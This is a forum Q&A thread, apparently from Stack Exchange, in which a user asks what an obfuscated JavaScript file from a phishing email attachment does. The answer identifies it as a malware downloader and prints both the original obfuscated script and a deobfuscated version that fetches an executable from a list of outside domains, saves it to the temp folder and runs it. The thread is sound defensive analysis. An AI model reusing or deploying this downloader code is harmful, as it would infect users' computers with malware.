-1

I just got a sketchy email to my University email. There was a zipped folder, containing, a lone js file. It reads:

var c54='sa',l88='vir',t3='(9',s19='ipt.C',f89='e();',t33='acosm',z63='80996',y15='"/',b33='e >',p16='.c',s39='613"',t13='xo.o',y88=' (e',e57=' = ',m27='nseBo',d96='ateOb',w63='); v',s68='i; ',i14='siz',l48='ntS',h9='ndEn',b26='secag',m36='<=3; ',i76='if (x',j3='r) { ',c83=' { va',e85='ET"',i42='pi',k39=' xo =',k23='var',u3='te(',y11=' WSc',m93=']+',r36='break',a66='xa.',y80=' }; ',g89='lad',c5='d=5',p0=' fal',u62='o.sta',o43='it',d98='= 20',f0='ar w',p81='"+n,',b47='at',o85='com',o52='ng',t93='.in',l14='ri',z84=' (er)',k21='er/?i',m44=' tr',e24=' xa.',e76='Shel',i94='); va',j30='i<',n26='fo"',p23=' x',a99='spo',k12='ToFi',z47='l',l78='2)',x8=',"htt',d81='ateO',q90=' 1) ',w44='ar',f41='}; };',c65='liar',p54='0)',c75='s.',b48='0;',r66=' fn =',i12='(); ',a34=' ws.E',o35=' };',e11='gs("',e49='r xa',b39=' xa.c',l26='ar l',p94='= ',b50='pos',z83='l")',w1='l.ne',q41='+"116',a36='ler',a6='ream"',f43='ipt.C',d14='if (d',w84='a.',j93=' WScr',h67='n = ',x77='var n',j58='.re',g40=' ws.',c32='eva',t42='n = 0',b99='me',t16='nd',u72='St',w45='ope',m28='m va',p29='; ',s74='DODB.',m68='{ ',x27=' }',h47='%TE',q27=' 100',w90='le(fn',x1='ML',p75='jec',a96='tus =',u40='+".',j31='.spl',c32=c32+z47,d94='var b'+' = "m'+'ahar'+t33+'etic'+c75+o85+' al'+i42+'na'+'texti'+w1+'t pra'+'vda'+'club'+p16+'om s'+'cuo'+g89+'ii'+o52+'le'+b26+c65+'i.co'+m28+a36+'y-art'+t93+n26+j31+o43+'(" "'+'); v'+f0+'s ='+j93+f43+'re'+d96+'ject'+'("WSc'+'ript.'+e76+z83+'; v'+w44+r66+a34+'xpa'+h9+l88+'on'+b99+l48+'trin'+e11+h47+'MP%"'+')+S'+'tr'+'ing.'+'fr'+'omCha'+'rCode'+t3+l78+q41+s39+p29+k23+k39+y11+'ript.'+'Cre'+'ateOb'+p75+'t("'+'MSX'+x1+'2.XM'+'LH'+'TTP"'+i94+e49+' = W'+'Scr'+s19+'re'+d81+'bj'+'ect('+'"A'+s74+u72+a6+w63+l26+'d ='+' 0; f'+'or ('+x77+'=1; n'+m36+'n++'+') '+'{ '+'for'+' (var'+' i='+'ld; '+j30+'b.le'+'ng'+'th;'+' i++)'+c83+'r d'+t42+'; tr'+'y '+m68+t13+'pen'+'("G'+e85+x8+'p://'+'"+b[i'+m93+y15+'co'+'unt'+k21+'d=rXMZC-yveCATYKjjCS2c-d6-5IwJfqv8fhNtqQ8Rm1fG43mc2Br1yQmPZ4Nji-Qri382AmpsdkoNWyNWbEJAPQAY0i3a'+'&rn'+c5+z63+p81+p0+'se'+'); '+'xo.se'+t16+i12+i76+u62+a96+d98+'0) '+'{ xa.'+w45+'n();'+' xa.t'+'ype '+'= 1;'+' xa.w'+l14+u3+'xo'+j58+a99+m27+'dy);'+' i'+'f ('+a66+i14+b33+q27+p54+' { d'+h67+'1;'+p23+w84+b50+'iti'+'on'+e57+b48+e24+c54+'ve'+k12+w90+'+n'+u40+'exe'+'",2);'+m44+'y {'+g40+'Run('+'fn+'+'n+".'+'exe"'+',1,0'+');'+' } ca'+'tch'+z84+' { };'+o35+b39+'los'+f89+y80+d14+'n =='+q90+'{ ld '+p94+s68+r36+'; };'+x27+' c'+b47+'ch'+y88+j3+f41+' };',o79=this[c32];o79(d94);

Can someone tell me what this script is trying to accomplish?

8

The code will attempt to download and execute malware.

Here is the de-obfuscated code, which was put together here.

var b = "maharacosmetics.com alpinatextil.net pravdaclub.com scuoladiinglesecagliari.com valery-art.info".split(" ");
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + "116613";
var xo = WScript.CreateObject("MSXML2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var ld = 0;
for (var n = 1; n <= 3; n++) {
    for (var i = ld; i < b.length; i++) {
        var dn = 0;
        try {
            xo.open("GET", "http://" + b[i] + "/counter/?id=rXMZC-yveCATYKjjCS2c-d6-5IwJfqv8fhNtqQ8Rm1fG43mc2Br1yQmPZ4Nji-Qri382AmpsdkoNWyNWbEJAPQAY0i3a&rnd=580996" + n, false);
            xo.send();
            if (xo.status == 200) {
                xa.open();
                xa.type = 1;
                xa.write(xo.responseBody);
                if (xa.size > 1000) {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn + n + ".exe", 2);
                    try {
                        ws.Run(fn + n + ".exe", 1, 0);
                    } catch (er) {};
                };
                xa.close();
            };
            if (dn == 1) {
                ld = i;
                break;
            };
        } catch (er) {};
    };
};

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.